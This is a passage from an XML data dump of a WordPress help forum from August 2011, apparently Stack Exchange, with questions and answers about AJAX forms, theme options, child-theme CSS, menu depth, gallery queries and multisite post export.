this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've seen this on other tutorials, and in other plugins.... but all i've seen continue to do it this hard-coded way.  does anyone have any insight into how to do this via ajax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'd like to popular a select drop-down with values from get_options().. which i cannot do in jquery/java and the js file can't process the php either, so i figured ajax is the solution i'm just not sure how to start &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-07T20:00:12.090" Title="TinyMCE buttons that launch Ajax-generated forms" Tags="&lt;tinymce&gt;&lt;shortcodes&gt;" AnswerCount="1" />
  <row Id="25245" PostTypeId="2" ParentId="25186" CreationDate="2011-08-07T19:59:07.910" Score="2" ViewCount="" Body="&lt;p&gt;I do, it's my site :) Here it is at a high level&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I built the site as a standard html/css/javascript site without ajax and without Wordpress code. Layout complete without content. All links are regular a href links - this helps with backwards compatibility later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Added in the Wordpress code to pull in content without ajax. Make sure all content is wrapped in a consistent div, which I call container. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I use jQuery to hijack all clicks on a href links. If there isn't target=&quot;_blank&quot; or a class of override I then load the page using ajax. I grab the url, look for the div of container (defined above) and load just that content keeping the header and footer consistent. I also use JQuery address to change the url and title of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) When the content is finished loading I fire jQuery calls to fade in the content and reposition the bar under the nav. I also make additional calls to add any page specific JS back in as it gets stripped out by loading the page via ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Finally I modified my .htaccess file to add a www. to every page and added javascript into the header of my file to add the hash into the url more jQuery address code to load the proper page if someone deep links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope some of this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eric&lt;/p&gt;&#xA;" OwnerUserId="7714" LastActivityDate="2011-08-07T19:59:07.910" CommentCount="1" />
  <row Id="25246" PostTypeId="2" ParentId="25243" CreationDate="2011-08-07T20:00:12.090" Score="0" ViewCount="" Body="&lt;p&gt;by using &lt;a href=&quot;http://api.jquery.com/jQuery.ajax/&quot; rel=&quot;nofollow&quot;&gt;jQuery.ajax()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, instead of that big form variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;  type: 'GET',&#xA;  url: 'admin-ajax.php',&#xA;  data: { action: 'get_my_form' },&#xA;  success: function(response){&#xA;    var table = $(response).find('table'); // you don't seem to use this &quot;table&quot; var&#xA;    $(response).appendTo('body').hide();&#xA;    // ...&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_get_my_form',  'get_my_form');&#xA;&#xA;function get_my_form(){&#xA;  // build your form here and echo it to the screen&#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-08-07T20:00:12.090" CommentCount="4" />
  <row Id="25247" PostTypeId="1" CreationDate="2011-08-07T20:10:35.827" Score="0" ViewCount="23" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;ThreeWP Broadcast&lt;/a&gt; plugin to add and control post and pages from the main blog to all my sub-blogs in the network. Is there anyway i can automatically add all of my post and pages from my main blog to new blogs I set up without having to go in each individual post and page and adding it manually?&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-08-07T22:42:11.820" Title="Automatically adding post and pages to new blog setups" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;pages&gt;&lt;blog-page&gt;&lt;clone-site&gt;" AnswerCount="1" />
  <row Id="25248" PostTypeId="1" CreationDate="2011-08-07T20:26:36.700" Score="-1" ViewCount="62" Body="&lt;p&gt;I know how to create a front end new post form through tutorials but I'm confused as to how to make a front end custom field that allows user to add data to existing posts&lt;/p&gt;&#xA;" OwnerUserId="7715" LastActivityDate="2011-08-08T06:53:37.553" Title="Front end add custom field to existing post" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;front-end&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="25249" PostTypeId="1" AcceptedAnswerId="25250" CreationDate="2011-08-07T20:48:21.460" Score="0" ViewCount="57" Body="&lt;p&gt;how can achieve this functionality. That I can change the themes &quot;slogan&quot; from admin and I don't have to go edit the themes source files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that there is some theme options functionality. But how to use it and maybe somebody can point me to the correct path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added screenshot to clarify what I mean under slogan:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/ALjqI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7712" LastActivityDate="2011-08-08T14:56:26.670" Title="How to dynamically change theme's slogan from admin?" Tags="&lt;themes&gt;&lt;options&gt;" AnswerCount="2" />
  <row Id="25250" PostTypeId="2" ParentId="25249" CreationDate="2011-08-07T21:04:13.720" Score="1" ViewCount="" Body="&lt;p&gt;In wordpress that's a tagline..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe a plugin like this &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-tagline/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/advanced-tagline/&lt;/a&gt; can help you.&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-08-07T21:04:13.720" CommentCount="1" />
  <row Id="25251" PostTypeId="2" ParentId="25248" CreationDate="2011-08-07T21:54:17.443" Score="0" ViewCount="" Body="&lt;p&gt;After the post is created, return the post ID. &#xA;Maybe by using filter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can just use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_post_meta&lt;/code&gt;&lt;/a&gt; to add the custom field.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;code&gt;update_post_meta( $post-&amp;gt;ID, 'custom_property_name', $form_value );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-08-08T06:53:37.553" LastActivityDate="2011-08-08T06:53:37.553" CommentCount="6" />
  <row Id="25252" PostTypeId="2" ParentId="25217" CreationDate="2011-08-07T21:54:55.693" Score="0" ViewCount="" Body="&lt;p&gt;Based on your comments on your question and the comment on Viruthagiri's answer, you want to edit your documents and attachments using WordPress.  I'm afraid WordPress doesn't offer a feature to edit documents and images using their backend.  The only thing I can say is to either use an FTP client (WinSCP [free] is a good one for PC, and Cyberduck [free] or Transmit [$39] for Mac OS X) to upload and replace the files in the WordPress upload directory.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-07T21:54:55.693" CommentCount="2" />
  <row Id="25253" PostTypeId="2" ParentId="25249" CreationDate="2011-08-07T22:06:56.850" Score="1" ViewCount="" Body="&lt;p&gt;I just have this in my &lt;code&gt;function.php&lt;/code&gt;file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Run the scripts for triggering the below functions&#xA;add_action('admin_menu', 'cms_options_menu');&#xA;&#xA;function cms_options_menu() {&#xA;  //create new top-level menu&#xA;  add_menu_page('CMS options', __('CMS options'), 'administrator', __FILE__, 'cms_options_page',plugins_url('/images/icon.png', __FILE__));&#xA;&#xA;  //call register settings function&#xA;  add_action( 'admin_init', 'register_custom_fields' );&#xA;}&#xA;&#xA;function register_custom_fields() {&#xA;  //register our settings&#xA;  register_setting( 'cms-options', 'slogan' );&#xA;}&#xA;&#xA;function cms_options_page() {&#xA;?&amp;gt;&#xA;  &amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;      &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;td scope=&quot;row&quot;&amp;gt;&#xA;          &amp;lt;?php _e('Slogan'); ?&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;slogan&quot; value=&quot;&amp;lt;?php echo get_option('slogan'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;      &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just add whatever text you want and save the change.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-08-08T14:56:26.670" LastActivityDate="2011-08-08T14:56:26.670" CommentCount="7" />
  <row Id="25254" PostTypeId="2" ParentId="25247" CreationDate="2011-08-07T22:42:11.820" Score="0" ViewCount="" Body="&lt;p&gt;You can use the export feature to export the posts. Go to Tools&gt;Export and choose WordPress. You will be prompted to add a plug-in at when you import it into the other sites. Just click install plug-in at the screen that pops up. You can then upload the XML file that you generated by exporting the original posts. At import you will have the option to import users or switch them to an existing user, and whether or not to download attachments.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-07T22:42:11.820" />
  <row Id="25255" PostTypeId="1" AcceptedAnswerId="25259" CreationDate="2011-08-07T22:50:46.780" Score="0" ViewCount="246" Body="&lt;p&gt;I've created a twentyeleven-child theme and activated it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to increase the size of the body font on all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I do this in style.css of the twentyeleven-child theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find the right font in this file to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In attempt to find it, I've searched all 10px, 11px, 12px, 13px, 14px, 15px, and 16px and changed them all to 20px, but the font size of the body text on my site is not increasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that changes that I'm making to style.css are working, because other things are changing (for example, the menu font size).&lt;/p&gt;&#xA;" OwnerUserId="7692" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-07T23:50:51.483" LastActivityDate="2011-08-07T23:50:51.483" Title="Modify Twentyeleven child theme CSS - How to change body font size?" Tags="&lt;child-theme&gt;&lt;stylesheet&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25256" PostTypeId="1" CreationDate="2011-08-07T23:08:02.030" Score="0" ViewCount="27" Body="&lt;p&gt;I want to show only top level pages, without the dropdown. I am trying to set the depth to 0...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary', 'depth' =&amp;gt; 0 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it generates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;current_page_item&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;http://www.test.com/&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;page_item page-item-11&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;http://www.test.com/about/&quot; title=&quot;About&quot;&amp;gt;About&amp;lt;/a&amp;gt;&#xA;        &amp;lt;ul class='children'&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &amp;lt;!-- All sub-pages --&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &amp;lt;!-- I want to skip them --&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I list only the top level pages?&lt;/p&gt;&#xA;" OwnerUserId="7716" LastActivityDate="2011-08-07T23:55:17.040" Title="How to list only root pages?" Tags="&lt;menus&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="25257" PostTypeId="2" ParentId="25256" CreationDate="2011-08-07T23:28:43.077" Score="2" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;&quot;depth&quot;=&amp;gt;1&lt;/code&gt;.  0 means &quot;unlimited&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-07T23:28:43.077" CommentCount="1" />
  <row Id="25258" PostTypeId="1" CreationDate="2011-08-07T23:34:01.653" Score="-3" ViewCount="44" Body="&lt;p&gt;The caption on my image has a 9px right margin that I just can't seem to get rid of.  Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site where you can see an example: &lt;a href=&quot;http://themeforward.com/demo2/2011/08/02/post/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/2011/08/02/post/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img {&#xA;border:none;&#xA;z-index:5!important;&#xA;margin-top:0px&#xA;}&#xA;p img {&#xA;background:#DDD;&#xA;border:1px solid #CCC;&#xA;height:auto;&#xA;max-width:618px;&#xA;z-index:5!important;&#xA;margin-top:9px!important&#xA;}&#xA;#post_content img { }&#xA;&#xA;/* Images - Aligning */&#xA;.aligncenter {&#xA;clear:both;&#xA;display:block;&#xA;margin:0 auto 10px&#xA;}&#xA;.alignleft {&#xA;display:block;&#xA;float:left;&#xA;margin:0 25px 0 0&#xA;}&#xA;.alignright {&#xA;display:block;&#xA;float:right;&#xA;margin:0 0 0 25px&#xA;}&#xA;&#xA;/* Image Captions */&#xA;.alignleft.wp-caption { }&#xA;.alignright.wp-caption { }&#xA;.aligncenter.wp-caption { }&#xA;.wp-caption {&#xA;}&#xA;.wp-caption img {&#xA;max-width:618px;&#xA;height:auto;&#xA;background:#DDD;&#xA;border:1px solid #CCC;&#xA;padding:10px&#xA;}&#xA;.wp-caption-text {&#xA;font-family:Verdana, Geneva, sans-serif;&#xA;font-size:11px!important;&#xA;line-height:18px!important;&#xA;text-align:right;&#xA;border:1px solid #000&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-08-08T15:13:25.230" Title="Caption CSS Problem" Tags="&lt;css&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25259" PostTypeId="2" ParentId="25255" CreationDate="2011-08-07T23:48:39.707" Score="1" ViewCount="" Body="&lt;p&gt;The body font size in TwentyEleven is listed on line 316 in style.css&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body, input, textarea {&#xA;    color: #373737;&#xA;    font: 15px &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif;&#xA;    font-weight: 300;&#xA;    line-height: 1.625;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy it over to your child theme style sheet and change the 15px to 20px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have already done this and it's not working make sure your child theme style.css has the correct headers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Twenty Eleven Child&#xA;Description: Child theme for the Twenty Eleven theme &#xA;Author: Your name here&#xA;Template: twentyeleven&#xA;*/&#xA;&#xA;@import url(&quot;../twentyeleven/style.css&quot;);&#xA;&#xA;/* Add your over ride rules below this line */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to debug your stylesheet and see which rules are being used by the browser you can use the &lt;a href=&quot;http://code.google.com/chrome/devtools/&quot; rel=&quot;nofollow&quot;&gt;webkit inspector included with Chrome&lt;/a&gt; or the &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug Firefox plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the Chrome inspector highlight a section to inspect then right click and choose inspect element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make on the fly css changes to see what they will look like. (Changes won't be saved when the page is refreshed).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;See Screenshot Below:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8Er92.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-07T23:48:39.707" />
  <row Id="25260" PostTypeId="2" ParentId="25256" CreationDate="2011-08-07T23:55:17.040" Score="0" ViewCount="" Body="&lt;p&gt;As a workaround I found this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;lt;?php if ( is_home() || is_single() || is_search() || is_archive() ) { echo ' class=&quot;current_page_item&quot;'; } ?&amp;gt;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;&quot;&amp;gt;&amp;lt;span&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;    wp_list_pages('title_li=&amp;amp;depth=1');&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.vanseodesign.com/wordpress/hightlight-current-page-wordpress/&quot; rel=&quot;nofollow&quot;&gt;How To Highlight The Current Page In WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7716" LastActivityDate="2011-08-07T23:55:17.040" />
  <row Id="25261" PostTypeId="1" CreationDate="2011-08-08T00:46:18.053" Score="-2" ViewCount="42" Body="&lt;p&gt;I want to get rid of a white space above my menu bar: &lt;a href=&quot;https://img.skitch.com/20110808-x9rfdjsfpq66s8bwik723u5a1x.jpg&quot; rel=&quot;nofollow&quot;&gt;https://img.skitch.com/20110808-x9rfdjsfpq66s8bwik723u5a1x.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using theme Twenty Eleven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the default images; I created new images with the same file names -- I kept the new images the same width, but they are less deep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The white space that has appeared and that I want to get rid of didn't actually appear when I changed the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems strange to me, but the white space appeared after I changed font sizes and styles -- you can see I'm using Courier for some of the fonts now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image from before I changed the fonts -- you can see there is no white space here: &lt;a href=&quot;https://img.skitch.com/20110808-pj4aq43qtkyb81678bst5uj4is.jpg&quot; rel=&quot;nofollow&quot;&gt;https://img.skitch.com/20110808-pj4aq43qtkyb81678bst5uj4is.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a link to the site now: &lt;a href=&quot;http://richardclunan.com/&quot; rel=&quot;nofollow&quot;&gt;http://richardclunan.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to make changes to the CSS relating to the image size change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get rid of that white space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-08T01:02:23.603" Title="Getting rid of a white space" Tags="&lt;css&gt;" AnswerCount="1" />
  <row Id="25262" PostTypeId="1" AcceptedAnswerId="25264" CreationDate="2011-08-08T00:49:17.927" Score="0" ViewCount="50" Body="&lt;p&gt;I've been hunting around for a day for this answer and thought I should turn to StackExchange in the hopes someone has an aswer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to display X images (for example, 4) in the sidebar of this one template, but I'd like it to be dynamic and either pull 4 random images, or the first or last 4 images in the gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using this code below to manually pull 4 images, but can someone provide code to be a bit more clever about it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[gallery include=&quot;317,309,325&quot; columns=&quot;1&quot; link=&quot;file&quot;]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4132" LastActivityDate="2011-08-08T01:17:13.723" Title="Display X images from a gallery in the sidebar" Tags="&lt;sidebar&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="25263" PostTypeId="2" ParentId="25261" CreationDate="2011-08-08T01:02:23.603" Score="0" ViewCount="" Body="&lt;p&gt;I am not 100% sure of the cause, but it seems to be related to the css property line-height. If you remove the line-height that is currently set for the header link/image, it will remove the white space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably going to need to add some custom CSS. The following might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header a,&#xA;header a&amp;gt;img {&#xA;    line-height:0 !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this may affect the look of other elements within the header, such as the navigation.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T01:02:23.603" CommentCount="4" />
  <row Id="25264" PostTypeId="2" ParentId="25262" CreationDate="2011-08-08T01:17:13.723" Score="0" ViewCount="" Body="&lt;p&gt;Sounds like you need a custom query in order to pull X amount of images. You could do the following (untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function custom_gallery_display( $number_of_images = 4 ) {&#xA;&#xA;    //make sure you have access to the WPDB object&#xA;    global $wpdb;&#xA;&#xA;    //pull 4 random attachments&#xA;    $images = $wpdb-&amp;gt;get_results(&quot;SELECT ID from wp_posts WHERE post_type = 'attachment' ORDER BY RAND() LIMIT $number_of_images&quot;);&#xA;&#xA;    //may need to tweak this;&#xA;    //not sure what format the results are returned&#xA;    $image_ids = implode( ',', $images );&#xA;&#xA;    //now print with random images&#xA;    echo do_shortcode('[gallery include=&quot;' . $image_ids . '&quot; columns=&quot;1&quot; link=&quot;file&quot;]');&#xA;&#xA;    return;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the trick, although it may need a bit of tweaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check out the documentation &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Gallery_Shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to it, you can easily create the randomized order by setting the orderby attribute to RAND&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[gallery include=&quot;317,309,325&quot; columns=&quot;1&quot; orderby=&quot;RAND&quot; link=&quot;file&quot;]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if you are forced to use a custom query in order to use X amount of images, you may as well just randomize it at that point, as I did above in the query.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T01:17:13.723" CommentCount="2" />
  <row Id="25265" PostTypeId="2" ParentId="25258" CreationDate="2011-08-08T01:21:37.947" Score="0" ViewCount="" Body="&lt;p&gt;If your caption has 9px of right margin, that is because somewhere in the theme's code there is 9px of margin set to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps read up on &lt;a href=&quot;http://www.htmldog.com/guides/cssadvanced/specificity/&quot; rel=&quot;nofollow&quot;&gt;CSS Specificity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because you didn't include it in your css, does not mean that it was not specificed somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try using a developer toolset such as Firebug to figure out where the 9px is coming from.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastEditorUserId="7435" LastEditorDisplayName="" LastEditDate="2011-08-08T01:50:23.950" LastActivityDate="2011-08-08T01:50:23.950" CommentCount="1" />
  <row Id="25266" PostTypeId="1" CreationDate="2011-08-08T01:25:37.740" Score="0" ViewCount="21" Body="&lt;p&gt;Is the tagline area spam-bot proof?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added my email address into the tagline area. Could spam bots pick it up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it here: &lt;a href=&quot;http://richardclunan.com&quot; rel=&quot;nofollow&quot;&gt;http://richardclunan.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(And if I add my email address into posts and pages, is it spam-bot proof there?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-08T06:19:04.880" Title="Is the tagline area spam-bot proof?" Tags="&lt;spam&gt;" AnswerCount="2" />
  <row Id="25267" PostTypeId="2" ParentId="25266" CreationDate="2011-08-08T01:40:11.747" Score="2" ViewCount="" Body="&lt;p&gt;Anything that is found in the publicly accessible HTML of a website or page can be indexed by Search Engines, or spam bots. If you don't want a spam bot finding something, don't put it on a public page.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-08T01:40:11.747" />
  <row Id="25268" PostTypeId="1" CreationDate="2011-08-08T02:03:22.910" Score="-1" ViewCount="106" Body="&lt;p&gt;In Theme Twenty Eleven, how do I get rid of the gray area at the top and move everything on the page up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gray area here: &lt;a href=&quot;https://img.skitch.com/20110808-ncu19ep6fw47s9pxhqxa99qmcb.jpg&quot; rel=&quot;nofollow&quot;&gt;https://img.skitch.com/20110808-ncu19ep6fw47s9pxhqxa99qmcb.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-22T15:27:24.470" Title="In Theme Twenty Eleven, how do I get rid of the gray area at the top and move everything on the page up?" Tags="&lt;css&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25269" PostTypeId="1" AcceptedAnswerId="26513" CreationDate="2011-08-08T03:22:35.577" Score="1" ViewCount="47" Body="&lt;p&gt;I'm using WordPress as a directory site, where a user can submit a post, which becomes their ad/listing. The users are assigned a custom wordpress role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posts need to need to be approved and published by the admin once, and then they can freely update their post as they see fit. It work's fine like this at the moment because I haven't given the custom role any publishing capabilities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also need the ability for the user to take their post offline (draft perhaps) temporary whenever they want, and make it published again whenever they want. Currently, when they make their post a &quot;draft&quot;, they need to submit it for a review to make it published again - this isn't ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way around this so they can change their post from &lt;code&gt;published&lt;/code&gt; to &lt;code&gt;draft&lt;/code&gt;, and then back again from &lt;code&gt;draft&lt;/code&gt; to &lt;code&gt;published&lt;/code&gt;, without needing it to be approved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I give them publish capabilities to start off with, but there's a plugin that requires their first post to be approved? (they are only permitted 1 post anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about a custom metabox with a checkbox that controls whether or not the post is published? Unfortunately I would have no idea where to begin with this kind if functionality. I am using WPALchemy for other metaboxes though.&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-22T00:37:00.677" Title="How to allow a user to make their post (ad) a draft, and then publish again without needing approval?" Tags="&lt;user-roles&gt;&lt;publish&gt;&lt;draft&gt;" AnswerCount="2" />
  <row Id="25270" PostTypeId="1" CreationDate="2011-08-08T03:42:47.860" Score="0" ViewCount="52" Body="&lt;p&gt;I'm trying to sort by a custom taxonomy on my front page here: &lt;a href=&quot;http://www.jamesfishwick.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.jamesfishwick.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, a user can pick a skill from the &quot;Works&quot; menu and sort. Example: selecting/filtering by &quot;jQuery&quot; takes you to &lt;a href=&quot;http://www.jamesfishwick.com/skills/jquery/&quot; rel=&quot;nofollow&quot;&gt;http://www.jamesfishwick.com/skills/jquery/&lt;/a&gt; But no filtering is actually happening there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to duplicate the structure of &quot;/category/category_name&quot; with &quot;/skills/skill_name&quot;. But no actual filtering is happening, and I can't figure out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's 